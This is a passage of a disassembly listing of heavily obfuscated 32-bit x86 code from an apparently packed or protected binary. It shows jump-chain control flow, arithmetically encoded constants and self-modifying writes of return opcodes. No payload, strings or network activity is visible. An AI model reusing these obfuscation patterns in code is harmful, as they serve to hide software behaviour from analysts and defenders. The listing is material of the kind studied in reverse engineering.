sub_40C696	proc near		; CODE XREF: sub_40DB50+5p
					; o45kw3t9:0040FE72p
		call	sub_4094DB
sub_40C696	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40A742


loc_40C69B:				; CODE XREF: sub_40A742-640j
		jmp	nullsub_28
; END OF FUNCTION CHUNK	FOR sub_40A742
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D32E


loc_40C6A0:				; CODE XREF: sub_40D32E:loc_40E8EEj
		mov	eax, [ebp+8]
		test	byte ptr [eax-8], 10h
		jz	loc_40E72A
		push	offset sub_40FFD5
		jmp	loc_40A6F3
; END OF FUNCTION CHUNK	FOR sub_40D32E

; =============== S U B	R O U T	I N E =======================================



sub_40C6B7	proc near		; DATA XREF: sub_40A416:loc_40FC52o

; FUNCTION CHUNK AT 0040BC1D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040CCED SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040D1F4 SIZE 00000005 BYTES

		xor	edx, 4B451263h
		add	edx, ebp
		add	edx, 929EEBD6h
		mov	[edx], eax
		pop	edx
		mov	eax, [ebp-4]
		mov	al, [eax]
		jns	loc_40BC1D
		jmp	loc_40CCED
sub_40C6B7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40C6D8:				; CODE XREF: o45kw3t9:loc_40AE9Fj
		call	sub_40909E
		mov	[ebp-4], eax
		jmp	loc_40ADA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40943A


loc_40C6E5:				; CODE XREF: sub_40943A:loc_409446j
		lea	eax, [ebp-125h]
		push	eax
		call	sub_40FC1D
		jmp	loc_40C543
; END OF FUNCTION CHUNK	FOR sub_40943A

; =============== S U B	R O U T	I N E =======================================



sub_40C6F6	proc near		; DATA XREF: sub_40A3A2:loc_4101C7o

; FUNCTION CHUNK AT 00409489 SIZE 00000005 BYTES

		mov	byte ptr [eax],	0C3h
		jmp	loc_409489
sub_40C6F6	endp

; ---------------------------------------------------------------------------


loc_40C6FE:				; CODE XREF: o45kw3t9:0040CCC9j
		mov	eax, [esp]
		push	edx
		call	sub_40DC93
		mov	eax, 11C9A2C5h
		call	sub_4090F8
		call	sub_40DD8F
; START	OF FUNCTION CHUNK FOR sub_40F039


loc_40C716:				; CODE XREF: sub_40F039+16j
		jmp	loc_40E628
; END OF FUNCTION CHUNK	FOR sub_40F039
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_45. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40C71C	proc near		; CODE XREF: sub_40A742-1214p
					; o45kw3t9:0040C949j

; FUNCTION CHUNK AT 0040C844 SIZE 00000016 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	edx, ebp
		add	edx, 955D81A8h
		jmp	loc_40C844
sub_40C71C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40943A


loc_40C72D:				; CODE XREF: sub_40943A:loc_40C03Cj
		mov	eax, [ebp+0]
		cdq
		jmp	loc_40C175
; END OF FUNCTION CHUNK	FOR sub_40943A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D5BF


loc_40C736:				; CODE XREF: sub_40D5BF+2570j
		and	esi, 0CE3EF354h
		test	edi, 7292818Fh
		jmp	loc_40D09C
; END OF FUNCTION CHUNK	FOR sub_40D5BF
; ---------------------------------------------------------------------------


loc_40C747:				; CODE XREF: o45kw3t9:0040D318j
		sub	ebx, 6916E605h
		jmp	loc_40E6F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A3A2


loc_40C752:				; CODE XREF: sub_40A3A2+4864j
		jns	loc_40AED5
		jmp	loc_40FB82
; END OF FUNCTION CHUNK	FOR sub_40A3A2
; ---------------------------------------------------------------------------
		sbb	ecx, 28C47CE8h
		jmp	loc_40D177
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_94. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CF7C


loc_40C769:				; CODE XREF: sub_40CF7C+12j
		jmp	loc_40D548
; END OF FUNCTION CHUNK	FOR sub_40CF7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B0D1


loc_40C76E:				; CODE XREF: sub_40B0D1+Bj
		jmp	loc_40B5E9
; END OF FUNCTION CHUNK	FOR sub_40B0D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CEFE


loc_40C773:				; CODE XREF: sub_40CEFE-33D0j
		jmp	loc_40B3A5
; END OF FUNCTION CHUNK	FOR sub_40CEFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC83


loc_40C778:				; CODE XREF: sub_40EC83:loc_40CA77j
		jnz	loc_40FC8B
		jmp	loc_40D307
; END OF FUNCTION CHUNK	FOR sub_40EC83

; =============== S U B	R O U T	I N E =======================================



sub_40C783	proc near		; DATA XREF: sub_40D031:loc_4093BEo

; FUNCTION CHUNK AT 0040E2F2 SIZE 0000000E BYTES

		mov	eax, ds:dword_4090C0
		mov	[ebp-4], eax
		push	31EF6EBBh
		pop	eax
		rol	eax, 1Dh
		xor	eax, 0EE177D36h
		jmp	loc_40E2F2
sub_40C783	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BB28


loc_40C79F:				; CODE XREF: sub_40BB28:loc_40F0CFj
		push	offset sub_40A4CC
		jmp	loc_4090DC
; END OF FUNCTION CHUNK	FOR sub_40BB28
; ---------------------------------------------------------------------------


loc_40C7A9:				; CODE XREF: o45kw3t9:0040973Dj
		jbe	loc_40AE5E

; =============== S U B	R O U T	I N E =======================================



sub_40C7AF	proc near		; CODE XREF: sub_40CC20:loc_40C468p

; FUNCTION CHUNK AT 00409E2E SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0040DFDE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040FC79 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xor	eax, 0ABD38490h
		call	sub_40A6BB


loc_40C7BE:				; DATA XREF: sub_409E37+8ECo
		mov	eax, 1
		jmp	loc_40FC79
sub_40C7AF	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		add	eax, offset nullsub_3
		mov	byte ptr [eax],	0C3h
		call	sub_40CEFE
		mov	edx, 0A22F8A70h
		call	sub_40988C
		jnz	loc_4099FC
		mov	ds:dword_40F9F4, eax
		jmp	loc_40CD46
; ---------------------------------------------------------------------------


loc_40C7F0:				; CODE XREF: o45kw3t9:00409A15j
		call	sub_40C641
		mov	edx, 90F68180h
		push	offset loc_40987C
		jmp	loc_40F1DC
; ---------------------------------------------------------------------------


loc_40C804:				; DATA XREF: sub_40D740+132Co
		push	0D512E3A6h
		pop	ebx
		rol	ebx, 1Ch
		xor	ebx, 0FB5CFC91h
		add	ebx, 6A3302BEh
		xchg	ebx, [esp]
		jmp	sub_40D70E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_62. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CF9A


loc_40C822:				; CODE XREF: sub_40CF9A+Ej
		jmp	nullsub_46
; END OF FUNCTION CHUNK	FOR sub_40CF9A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_40C827:				; CODE XREF: sub_409FA8+A7Ej
		jmp	loc_40B05E
; END OF FUNCTION CHUNK	FOR sub_409FA8
; ---------------------------------------------------------------------------


loc_40C82C:				; CODE XREF: o45kw3t9:loc_40DACEj
		not	edi
		jmp	loc_409941
; ---------------------------------------------------------------------------
		jns	loc_40C1F2
		jmp	loc_40AD78
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_100. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40943A


loc_40C83F:				; CODE XREF: sub_40943A+1939j
		jmp	loc_40ED50
; END OF FUNCTION CHUNK	FOR sub_40943A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C71C


loc_40C844:				; CODE XREF: sub_40C71C+Cj
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_4095CD
		call	sub_40BF87


loc_40C855:				; CODE XREF: sub_40DA15+275Ej
		jmp	nullsub_29
; END OF FUNCTION CHUNK	FOR sub_40C71C
; ---------------------------------------------------------------------------


loc_40C85A:				; CODE XREF: o45kw3t9:0040BC4Ej
		jmp	loc_4099E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A715


loc_40C85F:				; CODE XREF: sub_40A715:loc_40B4D1j
		cmp	byte ptr [eax],	0F1h
		jnz	loc_4091D4
		jmp	loc_40D7E4
; END OF FUNCTION CHUNK	FOR sub_40A715
; ---------------------------------------------------------------------------


loc_40C86D:				; CODE XREF: o45kw3t9:0040ED40j
		sub	eax, 0E681FD4Bh
		jmp	loc_40B9AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A259


loc_40C878:				; CODE XREF: sub_40A259:loc_409205j
		mov	eax, [ebp-4]
		call	sub_40B14E


loc_40C880:				; CODE XREF: sub_40B23F+3E41j
		jmp	loc_40EC72
; END OF FUNCTION CHUNK	FOR sub_40A259
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E0CA


loc_40C885:				; CODE XREF: sub_40E0CA+Aj
		jmp	locret_40D8CF
; END OF FUNCTION CHUNK	FOR sub_40E0CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A3F3


loc_40C88A:				; CODE XREF: sub_40A3F3+296Dj
		jmp	loc_40BC95
; END OF FUNCTION CHUNK	FOR sub_40A3F3
; ---------------------------------------------------------------------------
		add	eax, ebp
; START	OF FUNCTION CHUNK FOR sub_40E692


loc_40C891:				; CODE XREF: sub_40E692-10BAj
		jmp	sub_40A6F8
; END OF FUNCTION CHUNK	FOR sub_40E692
; ---------------------------------------------------------------------------
		push	eax
		rol	eax, 14h
		mov	ds:dword_40CFEC, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40C8A1:				; CODE XREF: sub_40C674+Aj
		jmp	loc_40AE85
; END OF FUNCTION CHUNK	FOR sub_40C674

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8A6	proc near		; CODE XREF: sub_40948Ej

; FUNCTION CHUNK AT 0040AFD5 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040B360 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040BC8E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040C390 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040E8E2 SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_40AFD5
sub_40C8A6	endp

; ---------------------------------------------------------------------------
		test	ecx, 48BA9667h
		jmp	loc_40A4DE
; ---------------------------------------------------------------------------


loc_40C8BA:				; CODE XREF: o45kw3t9:loc_40A098j
		cmp	dword ptr [ebp-1Ch], 66h
		jnz	loc_40CDA7
		mov	eax, 6
		sub	eax, [ebp-0Ch]
		jmp	loc_40D731
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E562


loc_40C8D1:				; CODE XREF: o45kw3t9:0040B347j
					; sub_40E562:loc_40BCB5j
		rol	edx, 3
		xor	edx, 13122A83h
		add	edx, ebp
		call	sub_40C674


loc_40C8E1:				; CODE XREF: sub_40A551+44F6j
		jmp	nullsub_65
; END OF FUNCTION CHUNK	FOR sub_40E562
; ---------------------------------------------------------------------------


loc_40C8E6:				; CODE XREF: o45kw3t9:0040BE3Aj
		mov	edi, [ebx]

; =============== S U B	R O U T	I N E =======================================



sub_40C8E8	proc near		; CODE XREF: sub_40FEFA+Ap
		xchg	esi, [esp+0]
		pop	esi
		lea	eax, loc_40DFDC
		jmp	loc_40A570
sub_40C8E8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		add	eax, ebx
		jmp	loc_40CEA1
; ---------------------------------------------------------------------------
		cmp	ebx, 67DED07h
		jmp	loc_409E4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B3E5


loc_40C909:				; CODE XREF: sub_40B3E5:loc_40E6DEj
		push	28h
		push	offset sub_40A1A8
		jmp	loc_40AB3C
; END OF FUNCTION CHUNK	FOR sub_40B3E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A5AE


loc_40C915:				; CODE XREF: sub_40A5AE:loc_409F52j
		jnz	loc_40EB33
		jmp	loc_40EEAF
; END OF FUNCTION CHUNK	FOR sub_40A5AE
; ---------------------------------------------------------------------------
		pop	ebx
		jmp	sub_40A7F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409C62


loc_40C926:				; CODE XREF: sub_409C62+10j
		mov	ecx, 8
		sub	ecx, eax
		call	sub_40DA7D
		jp	loc_40A941
		jmp	loc_41008A
; END OF FUNCTION CHUNK	FOR sub_409C62
; ---------------------------------------------------------------------------
		jnp	nullsub_135
		sbb	esi, 990BA04Eh
		jmp	sub_40C71C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A180


loc_40C94F:				; CODE XREF: sub_40A180:loc_40AAB0j
		jnz	loc_40DC8B


loc_40C955:				; CODE XREF: sub_40B160-1880j
					; sub_40A5AE+Ej ...
		push	offset loc_40DC86
		jmp	loc_40977F
; END OF FUNCTION CHUNK	FOR sub_40A180
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A299


loc_40C95F:				; CODE XREF: sub_40A299:loc_40C490j
		jnz	loc_40BC81
		jmp	loc_40BBE0
; END OF FUNCTION CHUNK	FOR sub_40A299
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC98


loc_40C96A:				; CODE XREF: sub_40CC98:loc_409DEBj
		rol	eax, 7
		jnb	loc_40E35C
; END OF FUNCTION CHUNK	FOR sub_40CC98
; START	OF FUNCTION CHUNK FOR sub_409472


loc_40C973:				; CODE XREF: sub_409472+Ej
		jmp	loc_40934F
; END OF FUNCTION CHUNK	FOR sub_409472
; ---------------------------------------------------------------------------
		or	edi, 0FEF49EE5h
		popf
		jmp	loc_40FC39
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_110. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FC1D


loc_40C985:				; CODE XREF: sub_40FC1D+Aj
		jmp	loc_40C0D2
; END OF FUNCTION CHUNK	FOR sub_40FC1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409A91


loc_40C98A:				; CODE XREF: sub_409A91+6j
		jmp	loc_40FC16
; END OF FUNCTION CHUNK	FOR sub_409A91
; ---------------------------------------------------------------------------


loc_40C98F:				; CODE XREF: o45kw3t9:loc_40E095j
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_40A40E
		jmp	loc_40FEC5
; ---------------------------------------------------------------------------


loc_40C99E:				; CODE XREF: o45kw3t9:0040966Cj
		jl	loc_40E2AE
		add	eax, 40CD6B4Ch
		jmp	loc_40B2A3
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp-4], 1
		mov	eax, 0
		or	eax, eax
		jz	loc_409B99
		jmp	loc_40ED3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B3E5


loc_40C9C8:				; CODE XREF: sub_40B3E5+4D8j
		jge	loc_40DCD4


loc_40C9CE:				; CODE XREF: o45kw3t9:0041019Bj
		jmp	loc_40D674
; END OF FUNCTION CHUNK	FOR sub_40B3E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E027


loc_40C9D3:				; CODE XREF: sub_40E027+Dj
		jmp	loc_40AA4A
; END OF FUNCTION CHUNK	FOR sub_40E027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CEA7


loc_40C9D8:				; CODE XREF: sub_40CEA7+B2Ej
		jmp	nullsub_55
; END OF FUNCTION CHUNK	FOR sub_40CEA7
; ---------------------------------------------------------------------------
		db 0Fh,	8Ah, 0EAh
		dd 2B000032h, 12E5E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40909E


loc_40C9EA:				; CODE XREF: sub_40909E:loc_40B5E4j
		push	0EDE53A23h
		pop	eax
		add	eax, 1776B5F5h
		xor	eax, 5754268Eh
		add	eax, ebp
		add	eax, 0ADF02866h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jmp	loc_40BCBB
; END OF FUNCTION CHUNK	FOR sub_40909E
; ---------------------------------------------------------------------------


loc_40CA0E:				; CODE XREF: o45kw3t9:00409570j
		jnp	loc_40EDD8
		mov	[edi], ebx
		jle	loc_40BA80


loc_40CA1C:				; CODE XREF: o45kw3t9:00409DCDj
		jmp	loc_409DFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40CA21:				; CODE XREF: sub_40D740:loc_40FCAFj
		popf
		sub	ecx, 0BC73BDD1h
		pop	ebx
		not	ebx
		jmp	loc_40C4BE
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AC3D


loc_40CA30:				; CODE XREF: sub_40AC3D+8j
		mov	ds:dword_40E3A8, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40AC3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC98


loc_40CA37:				; CODE XREF: sub_40CC98+16CEj
		ror	eax, 0Dh
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40CC98

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA3C	proc near		; CODE XREF: sub_40B28D+3j

; FUNCTION CHUNK AT 0040AD9D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CD41 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E2B9 SIZE 0000001B BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_40CD41
sub_40CA3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA44	proc near		; DATA XREF: sub_40D740:loc_409193o
		push	4399C6BFh
		pop	ebx
		sub	ebx, 7447FB34h
		rol	ebx, 1Ch
		add	ebx, 434BB2B5h
		xchg	ebx, [esp+0]
		jmp	sub_4101DB
sub_40CA44	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40CA61:				; CODE XREF: sub_40C674-1C77j
		cmp	ecx, 75DF0CCBh
		jmp	loc_40A98D
; END OF FUNCTION CHUNK	FOR sub_40C674
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_124. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D21F


loc_40CA6D:				; CODE XREF: sub_40D21F+107Fj
		jmp	sub_40948E
; END OF FUNCTION CHUNK	FOR sub_40D21F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409726


loc_40CA72:				; CODE XREF: sub_409726+4716j
		jmp	loc_40B0BE
; END OF FUNCTION CHUNK	FOR sub_409726
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC83


loc_40CA77:				; CODE XREF: sub_40EC83-F71j
		jmp	loc_40C778
; END OF FUNCTION CHUNK	FOR sub_40EC83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B160


loc_40CA7C:				; CODE XREF: sub_40B160+8B3j
		mov	[ebp-0Ah], al


loc_40CA7F:				; CODE XREF: o45kw3t9:0040DAF6j
		jo	loc_40FADE
		mov	eax, [ebp-4]
		push	offset sub_40A135
		jmp	loc_40E0C4
; END OF FUNCTION CHUNK	FOR sub_40B160

; =============== S U B	R O U T	I N E =======================================



sub_40CA92	proc near		; CODE XREF: o45kw3t9:0040F1ABj
					; sub_40D268+2DF7p
		xchg	esi, [esp+0]
		pop	esi
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_40CA92	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_40CA9A:				; CODE XREF: sub_409FA8+49A5j
		jmp	nullsub_92
; END OF FUNCTION CHUNK	FOR sub_409FA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40CA9F:				; CODE XREF: sub_40C674-179j
		jmp	loc_40F1B0
; END OF FUNCTION CHUNK	FOR sub_40C674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409726


loc_40CAA4:				; CODE XREF: sub_409726+1AE7j
		jmp	loc_40D41C
; END OF FUNCTION CHUNK	FOR sub_409726
; ---------------------------------------------------------------------------


loc_40CAA9:				; CODE XREF: o45kw3t9:00410053j
		call	sub_40D268
; START	OF FUNCTION CHUNK FOR sub_40B029


loc_40CAAE:				; CODE XREF: sub_40B029+233Aj
		jmp	sub_40B029
; END OF FUNCTION CHUNK	FOR sub_40B029
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40909E


loc_40CAB3:				; CODE XREF: sub_40909E:loc_40DC4Bj
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_40E438, 0
		jnz	loc_40E24A
		call	nullsub_3
		call	sub_40CEFE
		mov	edx, 0CF0182F6h
		jmp	loc_40ABB9
; END OF FUNCTION CHUNK	FOR sub_40909E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40CAD7:				; CODE XREF: sub_40D740:loc_40D950j
		xchg	eax, esi
		mov	eax, [ebp-30h]
		push	eax
		push	ebx
		jmp	loc_409193
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------


loc_40CAE3:				; CODE XREF: o45kw3t9:0040D4CEj
		jnb	loc_409682
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40CAE9:				; CODE XREF: sub_40D740:loc_409F67j
		add	eax, 3896066Dh
		push	offset loc_40A0DD


loc_40CAF4:				; CODE XREF: o45kw3t9:loc_40DD89j
		jmp	nullsub_63
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AC2F


loc_40CAF9:				; CODE XREF: sub_40AC2F:loc_40DBA3j
		jno	loc_40AEFD
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_40C4BE
		jmp	loc_40DE5A
; END OF FUNCTION CHUNK	FOR sub_40AC2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B5CB


loc_40CB13:				; CODE XREF: o45kw3t9:loc_4094D5j
					; sub_40B5CB-1257j
		jnz	loc_40EF2D
		cmp	edi, esi
		jmp	loc_40A4FD
; END OF FUNCTION CHUNK	FOR sub_40B5CB

; =============== S U B	R O U T	I N E =======================================



sub_40CB20	proc near		; DATA XREF: sub_40B745+2F7Fo
		mov	dword ptr [ebp-18h], 0
sub_40CB20	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40CB27:				; CODE XREF: sub_40D740-13E6j
		mov	eax, [ebp-4]
		push	offset sub_40E027
		jmp	loc_40B48B
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EABC


loc_40CB34:				; CODE XREF: sub_40EABC-D43j
		jz	loc_4100C8


loc_40CB3A:				; CODE XREF: o45kw3t9:0040E982j
		jmp	loc_409D7F
; END OF FUNCTION CHUNK	FOR sub_40EABC
; ---------------------------------------------------------------------------
		cmp	ebp, 0AFDACC39h
		jmp	loc_40A15D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40CB4A:				; CODE XREF: sub_40D740+78j
		cdq
		jmp	loc_40DFEA
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================



sub_40CB50	proc near		; CODE XREF: o45kw3t9:004091B4j
					; sub_40D740-4336p

; FUNCTION CHUNK AT 00409FC1 SIZE 00000002 BYTES

		mov	[esp+0], edx


loc_40CB53:				; CODE XREF: sub_409FA8:loc_40A40Ej
		pop	edx
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		mov	esp, ebp
		jmp	loc_409FC1
sub_40CB50	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40CB61:				; CODE XREF: o45kw3t9:0040DEA3j
		push	eax
		call	sub_40D026
		call	sub_40948E
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40CB6C:				; CODE XREF: sub_40C674:loc_40A68Ej
		add	esp, 10h
		jmp	loc_40CFC9
; END OF FUNCTION CHUNK	FOR sub_40C674

; =============== S U B	R O U T	I N E =======================================



sub_40CB74	proc near		; CODE XREF: o45kw3t9:0040AFB8j
					; sub_40E786+15p

; FUNCTION CHUNK AT 0040A344 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040AA9C SIZE 00000007 BYTES

		xchg	edx, [esp+0]
		pop	edx
		jz	loc_40A344
		call	sub_40AAA3
		jnz	loc_40A344
		jmp	loc_40AA9C
sub_40CB74	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40CB8E:				; CODE XREF: o45kw3t9:0040E608j
		cmp	eax, edx
		jmp	loc_40EB62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BD10


loc_40CB95:				; CODE XREF: sub_40BD10+Dj
		ror	eax, 0Eh
		jz	loc_40E82F
		xor	eax, 5BB65E48h
		ror	eax, 13h
		mov	edx, [esp+0]
		push	eax
		jmp	loc_40B2C2
; END OF FUNCTION CHUNK	FOR sub_40BD10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40928F


loc_40CBB0:				; CODE XREF: sub_40928F+6C66j
		rol	edx, 0Dh
		xor	edx, 8F53B42Bh
		push	eax
		pushf
		jmp	loc_40B112
; END OF FUNCTION CHUNK	FOR sub_40928F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_118. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DB50


loc_40CBC1:				; CODE XREF: sub_40DB50:loc_40D384j
		push	0E8E17589h
		xchg	edx, [esp+8+var_8]
		mov	ecx, edx
		pop	edx
		or	ecx, 0C8F6E85Ch
		add	ecx, 17487AB4h
		mov	[ecx], eax
		pop	ecx
		jmp	loc_40FE60
; END OF FUNCTION CHUNK	FOR sub_40DB50
; ---------------------------------------------------------------------------


loc_40CBE0:				; CODE XREF: o45kw3t9:0040E041j
		jz	loc_40AEE4
		jmp	loc_409D29
; ---------------------------------------------------------------------------
		jno	loc_40E67A
		jmp	sub_410153
; ---------------------------------------------------------------------------


loc_40CBF6:				; CODE XREF: o45kw3t9:0040AB22j
		jns	loc_40FD4D

; =============== S U B	R O U T	I N E =======================================



sub_40CBFC	proc near		; CODE XREF: sub_40DA15:loc_40EF5Ep

; FUNCTION CHUNK AT 00409345 SIZE 0000000A BYTES

		mov	[esp+0], eax
		pop	eax
		mov	eax, [eax]
		jmp	loc_409345
sub_40CBFC	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_65. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40CC08:				; CODE XREF: o45kw3t9:0040C3FEj
		jmp	loc_40FB19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B14E


loc_40CC0D:				; CODE XREF: sub_40B14E:loc_409CB8j
		mov	eax, [ebp-4]
		call	sub_40942A
		jnb	loc_40B085
		jmp	sub_40A3A2
; END OF FUNCTION CHUNK	FOR sub_40B14E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC20	proc near		; DATA XREF: sub_40948E+Co

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004092FC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00409E97 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040A1E7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040A1FD SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040A23D SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040A780 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040A818 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A8F5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040ACE5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040AE78 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040B888 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B9D3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040BD79 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040BDDA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040C13F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C192 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040C259 SIZE 00000017 BYTES
